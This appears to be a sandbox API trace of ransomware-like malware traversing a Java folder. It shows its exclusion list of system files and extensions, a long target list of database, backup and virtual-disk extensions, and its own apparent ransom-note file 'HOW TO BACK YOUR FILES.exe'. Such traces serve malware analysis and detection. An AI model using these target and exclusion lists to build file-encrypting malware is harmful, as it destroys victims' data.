	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dcb") returned 1
	[0054.992] lstrlenW (lpString="dct") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dct") returned 1
	[0054.992] lstrlenW (lpString="dcx") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dcx") returned 1
	[0054.992] lstrlenW (lpString="ddl") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="ddl") returned 1
	[0054.992] lstrlenW (lpString="dlis") returned 4
	[0054.992] lstrcmpiW (lpString1="ille", lpString2="dlis") returned 1
	[0054.992] lstrlenW (lpString="dp1") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dp1") returned 1
	[0054.992] lstrlenW (lpString="dqy") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dqy") returned 1
	[0054.992] lstrlenW (lpString="dsk") returned 3
	[0054.992] lstrcmpiW (lpString1="lle", lpString2="dsk") returned 1
	[0054.992] lstrlenW (lpString="dsn") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="dsn") returned 1
	[0054.993] lstrlenW (lpString="dtsx") returned 4
	[0054.993] lstrcmpiW (lpString1="ille", lpString2="dtsx") returned 1
	[0054.993] lstrlenW (lpString="dxl") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="dxl") returned 1
	[0054.993] lstrlenW (lpString="eco") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="eco") returned 1
	[0054.993] lstrlenW (lpString="ecx") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="ecx") returned 1
	[0054.993] lstrlenW (lpString="edb") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="edb") returned 1
	[0054.993] lstrlenW (lpString="epim") returned 4
	[0054.993] lstrcmpiW (lpString1="ille", lpString2="epim") returned 1
	[0054.993] lstrlenW (lpString="fcd") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fcd") returned 1
	[0054.993] lstrlenW (lpString="fdb") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fdb") returned 1
	[0054.993] lstrlenW (lpString="fic") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fic") returned 1
	[0054.993] lstrlenW (lpString="flexolibrary") returned 12
	[0054.993] lstrcmpiW (lpString1="montDUrville", lpString2="flexolibrary") returned 1
	[0054.993] lstrlenW (lpString="fm5") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fm5") returned 1
	[0054.993] lstrlenW (lpString="fmp") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fmp") returned 1
	[0054.993] lstrlenW (lpString="fmp12") returned 5
	[0054.993] lstrcmpiW (lpString1="ville", lpString2="fmp12") returned 1
	[0054.993] lstrlenW (lpString="fmpsl") returned 5
	[0054.993] lstrcmpiW (lpString1="ville", lpString2="fmpsl") returned 1
	[0054.993] lstrlenW (lpString="fol") returned 3
	[0054.993] lstrcmpiW (lpString1="lle", lpString2="fol") returned 1
	[0054.994] lstrlenW (lpString="fp3") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="fp3") returned 1
	[0054.994] lstrlenW (lpString="fp4") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="fp4") returned 1
	[0054.994] lstrlenW (lpString="fp5") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="fp5") returned 1
	[0054.994] lstrlenW (lpString="fp7") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="fp7") returned 1
	[0054.994] lstrlenW (lpString="fpt") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="fpt") returned 1
	[0054.994] lstrlenW (lpString="frm") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="frm") returned 1
	[0054.994] lstrlenW (lpString="gdb") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="gdb") returned 1
	[0054.994] lstrlenW (lpString="gdb") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="gdb") returned 1
	[0054.994] lstrlenW (lpString="grdb") returned 4
	[0054.994] lstrcmpiW (lpString1="ille", lpString2="grdb") returned 1
	[0054.994] lstrlenW (lpString="gwi") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="gwi") returned 1
	[0054.994] lstrlenW (lpString="hdb") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="hdb") returned 1
	[0054.994] lstrlenW (lpString="his") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="his") returned 1
	[0054.994] lstrlenW (lpString="ib") returned 2
	[0054.994] lstrcmpiW (lpString1="le", lpString2="ib") returned 1
	[0054.994] lstrlenW (lpString="idb") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="idb") returned 1
	[0054.994] lstrlenW (lpString="ihx") returned 3
	[0054.994] lstrcmpiW (lpString1="lle", lpString2="ihx") returned 1
	[0054.994] lstrlenW (lpString="itdb") returned 4
	[0054.995] lstrcmpiW (lpString1="ille", lpString2="itdb") returned -1
	[0054.995] lstrlenW (lpString="itw") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="itw") returned 1
	[0054.995] lstrlenW (lpString="jet") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="jet") returned 1
	[0054.995] lstrlenW (lpString="jtx") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="jtx") returned 1
	[0054.995] lstrlenW (lpString="kdb") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="kdb") returned 1
	[0054.995] lstrlenW (lpString="kexi") returned 4
	[0054.995] lstrcmpiW (lpString1="ille", lpString2="kexi") returned -1
	[0054.995] lstrlenW (lpString="kexic") returned 5
	[0054.995] lstrcmpiW (lpString1="ville", lpString2="kexic") returned 1
	[0054.995] lstrlenW (lpString="kexis") returned 5
	[0054.995] lstrcmpiW (lpString1="ville", lpString2="kexis") returned 1
	[0054.995] lstrlenW (lpString="lgc") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="lgc") returned 1
	[0054.995] lstrlenW (lpString="lwx") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="lwx") returned -1
	[0054.995] lstrlenW (lpString="maf") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="maf") returned -1
	[0054.995] lstrlenW (lpString="maq") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="maq") returned -1
	[0054.995] lstrlenW (lpString="mar") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="mar") returned -1
	[0054.995] lstrlenW (lpString="marshal") returned 7
	[0054.995] lstrcmpiW (lpString1="Urville", lpString2="marshal") returned 1
	[0054.995] lstrlenW (lpString="mas") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="mas") returned -1
	[0054.995] lstrlenW (lpString="mav") returned 3
	[0054.995] lstrcmpiW (lpString1="lle", lpString2="mav") returned -1
	[0054.995] lstrlenW (lpString="maw") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="maw") returned -1
	[0054.996] lstrlenW (lpString="mdbhtml") returned 7
	[0054.996] lstrcmpiW (lpString1="Urville", lpString2="mdbhtml") returned 1
	[0054.996] lstrlenW (lpString="mdn") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mdn") returned -1
	[0054.996] lstrlenW (lpString="mdt") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mdt") returned -1
	[0054.996] lstrlenW (lpString="mfd") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mfd") returned -1
	[0054.996] lstrlenW (lpString="mpd") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mpd") returned -1
	[0054.996] lstrlenW (lpString="mrg") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mrg") returned -1
	[0054.996] lstrlenW (lpString="mud") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mud") returned -1
	[0054.996] lstrlenW (lpString="mwb") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="mwb") returned -1
	[0054.996] lstrlenW (lpString="myd") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="myd") returned -1
	[0054.996] lstrlenW (lpString="ndf") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="ndf") returned -1
	[0054.996] lstrlenW (lpString="nnt") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="nnt") returned -1
	[0054.996] lstrlenW (lpString="nrmlib") returned 6
	[0054.996] lstrcmpiW (lpString1="rville", lpString2="nrmlib") returned 1
	[0054.996] lstrlenW (lpString="ns2") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="ns2") returned -1
	[0054.996] lstrlenW (lpString="ns3") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="ns3") returned -1
	[0054.996] lstrlenW (lpString="ns4") returned 3
	[0054.996] lstrcmpiW (lpString1="lle", lpString2="ns4") returned -1
	[0054.997] lstrlenW (lpString="nsf") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="nsf") returned -1
	[0054.997] lstrlenW (lpString="nv") returned 2
	[0054.997] lstrcmpiW (lpString1="le", lpString2="nv") returned -1
	[0054.997] lstrlenW (lpString="nv2") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="nv2") returned -1
	[0054.997] lstrlenW (lpString="nwdb") returned 4
	[0054.997] lstrcmpiW (lpString1="ille", lpString2="nwdb") returned -1
	[0054.997] lstrlenW (lpString="nyf") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="nyf") returned -1
	[0054.997] lstrlenW (lpString="odb") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="odb") returned -1
	[0054.997] lstrlenW (lpString="odb") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="odb") returned -1
	[0054.997] lstrlenW (lpString="oqy") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="oqy") returned -1
	[0054.997] lstrlenW (lpString="ora") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="ora") returned -1
	[0054.997] lstrlenW (lpString="orx") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="orx") returned -1
	[0054.997] lstrlenW (lpString="owc") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="owc") returned -1
	[0054.997] lstrlenW (lpString="p96") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="p96") returned -1
	[0054.997] lstrlenW (lpString="p97") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="p97") returned -1
	[0054.997] lstrlenW (lpString="pan") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="pan") returned -1
	[0054.997] lstrlenW (lpString="pdb") returned 3
	[0054.997] lstrcmpiW (lpString1="lle", lpString2="pdb") returned -1
	[0054.997] lstrlenW (lpString="pdm") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="pdm") returned -1
	[0054.998] lstrlenW (lpString="pnz") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="pnz") returned -1
	[0054.998] lstrlenW (lpString="qry") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="qry") returned -1
	[0054.998] lstrlenW (lpString="qvd") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="qvd") returned -1
	[0054.998] lstrlenW (lpString="rbf") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="rbf") returned -1
	[0054.998] lstrlenW (lpString="rctd") returned 4
	[0054.998] lstrcmpiW (lpString1="ille", lpString2="rctd") returned -1
	[0054.998] lstrlenW (lpString="rod") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="rod") returned -1
	[0054.998] lstrlenW (lpString="rodx") returned 4
	[0054.998] lstrcmpiW (lpString1="ille", lpString2="rodx") returned -1
	[0054.998] lstrlenW (lpString="rpd") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="rpd") returned -1
	[0054.998] lstrlenW (lpString="rsd") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="rsd") returned -1
	[0054.998] lstrlenW (lpString="sas7bdat") returned 8
	[0054.998] lstrcmpiW (lpString1="DUrville", lpString2="sas7bdat") returned -1
	[0054.998] lstrlenW (lpString="sbf") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="sbf") returned -1
	[0054.998] lstrlenW (lpString="scx") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="scx") returned -1
	[0054.998] lstrlenW (lpString="sdb") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="sdb") returned -1
	[0054.998] lstrlenW (lpString="sdc") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="sdc") returned -1
	[0054.998] lstrlenW (lpString="sdf") returned 3
	[0054.998] lstrcmpiW (lpString1="lle", lpString2="sdf") returned -1
	[0054.998] lstrlenW (lpString="sis") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="sis") returned -1
	[0054.999] lstrlenW (lpString="spq") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="spq") returned -1
	[0054.999] lstrlenW (lpString="te") returned 2
	[0054.999] lstrcmpiW (lpString1="le", lpString2="te") returned -1
	[0054.999] lstrlenW (lpString="teacher") returned 7
	[0054.999] lstrcmpiW (lpString1="Urville", lpString2="teacher") returned 1
	[0054.999] lstrlenW (lpString="tmd") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="tmd") returned -1
	[0054.999] lstrlenW (lpString="tps") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="tps") returned -1
	[0054.999] lstrlenW (lpString="trc") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="trc") returned -1
	[0054.999] lstrlenW (lpString="trc") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="trc") returned -1
	[0054.999] lstrlenW (lpString="trm") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="trm") returned -1
	[0054.999] lstrlenW (lpString="udb") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="udb") returned -1
	[0054.999] lstrlenW (lpString="udl") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="udl") returned -1
	[0054.999] lstrlenW (lpString="usr") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="usr") returned -1
	[0054.999] lstrlenW (lpString="v12") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="v12") returned -1
	[0054.999] lstrlenW (lpString="vis") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="vis") returned -1
	[0054.999] lstrlenW (lpString="vpd") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="vpd") returned -1
	[0054.999] lstrlenW (lpString="vvv") returned 3
	[0054.999] lstrcmpiW (lpString1="lle", lpString2="vvv") returned -1
	[0055.000] lstrlenW (lpString="wdb") returned 3
	[0055.000] lstrcmpiW (lpString1="lle", lpString2="wdb") returned -1
	[0055.000] lstrlenW (lpString="wmdb") returned 4
	[0055.000] lstrcmpiW (lpString1="ille", lpString2="wmdb") returned -1
	[0055.000] lstrlenW (lpString="wrk") returned 3
	[0055.000] lstrcmpiW (lpString1="lle", lpString2="wrk") returned -1
	[0055.000] lstrlenW (lpString="xdb") returned 3
	[0055.000] lstrcmpiW (lpString1="lle", lpString2="xdb") returned -1
	[0055.000] lstrlenW (lpString="xld") returned 3
	[0055.000] lstrcmpiW (lpString1="lle", lpString2="xld") returned -1
	[0055.000] lstrlenW (lpString="xmlff") returned 5
	[0055.000] lstrcmpiW (lpString1="ville", lpString2="xmlff") returned -1
	[0055.000] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d60010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38d60010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.000] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.000] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Macquarie", cAlternateFileName="MACQUA~1")) returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="Apollon865.txt.exe") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2=".") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="..") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="windows") returned -1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="bootmgr") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="temp") returned -1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="pagefile.sys") returned -1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="boot") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="ids.txt") returned 1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="ntuser.dat") returned -1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="perflogs") returned -1
	[0055.000] lstrcmpiW (lpString1="Macquarie", lpString2="MSBuild") returned -1
	[0055.000] lstrlenW (lpString="Macquarie") returned 9
	[0055.000] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville") returned 65
	[0055.001] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Macquarie" | out: lpString1="Macquarie") returned="Macquarie"
	[0055.001] lstrlenW (lpString="Macquarie") returned 9
	[0055.001] lstrlenW (lpString="Apollon865") returned 10
	[0055.001] lstrlenW (lpString=".dll") returned 4
	[0055.001] lstrcmpiW (lpString1="Macquarie", lpString2=".dll") returned 1
	[0055.001] lstrlenW (lpString=".lnk") returned 4
	[0055.001] lstrcmpiW (lpString1="Macquarie", lpString2=".lnk") returned 1
	[0055.001] lstrlenW (lpString=".ini") returned 4
	[0055.001] lstrcmpiW (lpString1="Macquarie", lpString2=".ini") returned 1
	[0055.001] lstrlenW (lpString=".sys") returned 4
	[0055.001] lstrcmpiW (lpString1="Macquarie", lpString2=".sys") returned 1
	[0055.001] lstrlenW (lpString="Macquarie") returned 9
	[0055.001] lstrlenW (lpString="bak") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="bak") returned 1
	[0055.001] lstrlenW (lpString="ba_") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="ba_") returned 1
	[0055.001] lstrlenW (lpString="dbb") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="dbb") returned 1
	[0055.001] lstrlenW (lpString="vmdk") returned 4
	[0055.001] lstrcmpiW (lpString1="arie", lpString2="vmdk") returned -1
	[0055.001] lstrlenW (lpString="rar") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="rar") returned 1
	[0055.001] lstrlenW (lpString="zip") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="zip") returned -1
	[0055.001] lstrlenW (lpString="tgz") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="tgz") returned -1
	[0055.001] lstrlenW (lpString="vbox") returned 4
	[0055.001] lstrcmpiW (lpString1="arie", lpString2="vbox") returned -1
	[0055.001] lstrlenW (lpString="vdi") returned 3
	[0055.001] lstrcmpiW (lpString1="rie", lpString2="vdi") returned -1
	[0055.001] lstrlenW (lpString="vhd") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="vhd") returned -1
	[0055.002] lstrlenW (lpString="vhdx") returned 4
	[0055.002] lstrcmpiW (lpString1="arie", lpString2="vhdx") returned -1
	[0055.002] lstrlenW (lpString="avhd") returned 4
	[0055.002] lstrcmpiW (lpString1="arie", lpString2="avhd") returned -1
	[0055.002] lstrlenW (lpString="db") returned 2
	[0055.002] lstrcmpiW (lpString1="ie", lpString2="db") returned 1
	[0055.002] lstrlenW (lpString="db2") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="db2") returned 1
	[0055.002] lstrlenW (lpString="db3") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="db3") returned 1
	[0055.002] lstrlenW (lpString="dbf") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="dbf") returned 1
	[0055.002] lstrlenW (lpString="mdf") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="mdf") returned 1
	[0055.002] lstrlenW (lpString="mdb") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="mdb") returned 1
	[0055.002] lstrlenW (lpString="sql") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="sql") returned -1
	[0055.002] lstrlenW (lpString="sqlite") returned 6
	[0055.002] lstrcmpiW (lpString1="quarie", lpString2="sqlite") returned -1
	[0055.002] lstrlenW (lpString="sqlite3") returned 7
	[0055.002] lstrcmpiW (lpString1="cquarie", lpString2="sqlite3") returned -1
	[0055.002] lstrlenW (lpString="sqlitedb") returned 8
	[0055.002] lstrcmpiW (lpString1="acquarie", lpString2="sqlitedb") returned -1
	[0055.002] lstrlenW (lpString="xml") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="xml") returned -1
	[0055.002] lstrlenW (lpString="$er") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="$er") returned 1
	[0055.002] lstrlenW (lpString="4dd") returned 3
	[0055.002] lstrcmpiW (lpString1="rie", lpString2="4dd") returned 1
	[0055.002] lstrlenW (lpString="4dl") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="4dl") returned 1
	[0055.003] lstrlenW (lpString="^^^") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="^^^") returned 1
	[0055.003] lstrlenW (lpString="abs") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="abs") returned 1
	[0055.003] lstrlenW (lpString="abx") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="abx") returned 1
	[0055.003] lstrlenW (lpString="accdb") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accdb") returned 1
	[0055.003] lstrlenW (lpString="accdc") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accdc") returned 1
	[0055.003] lstrlenW (lpString="accde") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accde") returned 1
	[0055.003] lstrlenW (lpString="accdr") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accdr") returned 1
	[0055.003] lstrlenW (lpString="accdt") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accdt") returned 1
	[0055.003] lstrlenW (lpString="accdw") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accdw") returned 1
	[0055.003] lstrlenW (lpString="accft") returned 5
	[0055.003] lstrcmpiW (lpString1="uarie", lpString2="accft") returned 1
	[0055.003] lstrlenW (lpString="adb") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="adb") returned 1
	[0055.003] lstrlenW (lpString="adb") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="adb") returned 1
	[0055.003] lstrlenW (lpString="ade") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="ade") returned 1
	[0055.003] lstrlenW (lpString="adf") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="adf") returned 1
	[0055.003] lstrlenW (lpString="adn") returned 3
	[0055.003] lstrcmpiW (lpString1="rie", lpString2="adn") returned 1
	[0055.004] lstrlenW (lpString="adp") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="adp") returned 1
	[0055.004] lstrlenW (lpString="alf") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="alf") returned 1
	[0055.004] lstrlenW (lpString="ask") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="ask") returned 1
	[0055.004] lstrlenW (lpString="btr") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="btr") returned 1
	[0055.004] lstrlenW (lpString="cat") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="cat") returned 1
	[0055.004] lstrlenW (lpString="cdb") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="cdb") returned 1
	[0055.004] lstrlenW (lpString="ckp") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="ckp") returned 1
	[0055.004] lstrlenW (lpString="cma") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="cma") returned 1
	[0055.004] lstrlenW (lpString="cpd") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="cpd") returned 1
	[0055.004] lstrlenW (lpString="dacpac") returned 6
	[0055.004] lstrcmpiW (lpString1="quarie", lpString2="dacpac") returned 1
	[0055.004] lstrlenW (lpString="dad") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="dad") returned 1
	[0055.004] lstrlenW (lpString="dadiagrams") returned 10
	[0055.004] lstrlenW (lpString="daschema") returned 8
	[0055.004] lstrcmpiW (lpString1="acquarie", lpString2="daschema") returned -1
	[0055.004] lstrlenW (lpString="db-journal") returned 10
	[0055.004] lstrlenW (lpString="db-shm") returned 6
	[0055.004] lstrcmpiW (lpString1="quarie", lpString2="db-shm") returned 1
	[0055.004] lstrlenW (lpString="db-wal") returned 6
	[0055.004] lstrcmpiW (lpString1="quarie", lpString2="db-wal") returned 1
	[0055.004] lstrlenW (lpString="dbc") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="dbc") returned 1
	[0055.004] lstrlenW (lpString="dbs") returned 3
	[0055.004] lstrcmpiW (lpString1="rie", lpString2="dbs") returned 1
	[0055.004] lstrlenW (lpString="dbt") returned 3
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dbt") returned 1
	[0055.005] lstrlenW (lpString="dbv") returned 3
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dbv") returned 1
	[0055.005] lstrlenW (lpString="dbx") returned 3
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dbx") returned 1
	[0055.005] lstrlenW (lpString="dcb") returned 3
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dcb") returned 1
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dct") returned 1
	[0055.005] lstrcmpiW (lpString1="rie", lpString2="dcx") returned 1
	[0055.005] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Mawson" | out: lpString1="Mawson") returned="Mawson"
	[0055.005] lstrlenW (lpString="Mawson") returned 6
	[0055.005] lstrlenW (lpString="Apollon865") returned 10
	[0055.005] lstrlenW (lpString=".dll") returned 4
	[0055.005] lstrcmpiW (lpString1="Mawson", lpString2=".dll") returned 1
	[0055.005] lstrlenW (lpString=".lnk") returned 4
	[0055.005] lstrcmpiW (lpString1="Mawson", lpString2=".lnk") returned 1
	[0055.005] lstrlenW (lpString=".ini") returned 4
	[0055.005] lstrcmpiW (lpString1="Mawson", lpString2=".ini") returned 1
	[0055.005] lstrlenW (lpString=".sys") returned 4
	[0055.005] lstrcmpiW (lpString1="Mawson", lpString2=".sys") returned 1
	[0055.005] lstrlenW (lpString="Mawson") returned 6
	[0055.005] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="McMurdo" | out: lpString1="McMurdo") returned="McMurdo"
	[0055.005] lstrlenW (lpString="McMurdo") returned 7
	[0055.005] lstrlenW (lpString="Apollon865") returned 10
	[0055.006] lstrlenW (lpString=".dll") returned 4
	[0055.006] lstrcmpiW (lpString1="McMurdo", lpString2=".dll") returned 1
	[0055.006] lstrlenW (lpString=".lnk") returned 4
	[0055.006] lstrcmpiW (lpString1="McMurdo", lpString2=".lnk") returned 1
	[0055.006] lstrlenW (lpString=".ini") returned 4
	[0055.006] lstrcmpiW (lpString1="McMurdo", lpString2=".ini") returned 1
	[0055.006] lstrlenW (lpString=".sys") returned 4
	[0055.006] lstrcmpiW (lpString1="McMurdo", lpString2=".sys") returned 1
	[0055.006] lstrlenW (lpString="McMurdo") returned 7
	[0055.006] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Palmer" | out: lpString1="Palmer") returned="Palmer"
	[0055.006] lstrlenW (lpString="Palmer") returned 6
	[0055.006] lstrlenW (lpString="Apollon865") returned 10
	[0055.006] lstrlenW (lpString=".dll") returned 4
	[0055.006] lstrcmpiW (lpString1="Palmer", lpString2=".dll") returned 1
	[0055.006] lstrlenW (lpString=".lnk") returned 4
	[0055.006] lstrcmpiW (lpString1="Palmer", lpString2=".lnk") returned 1
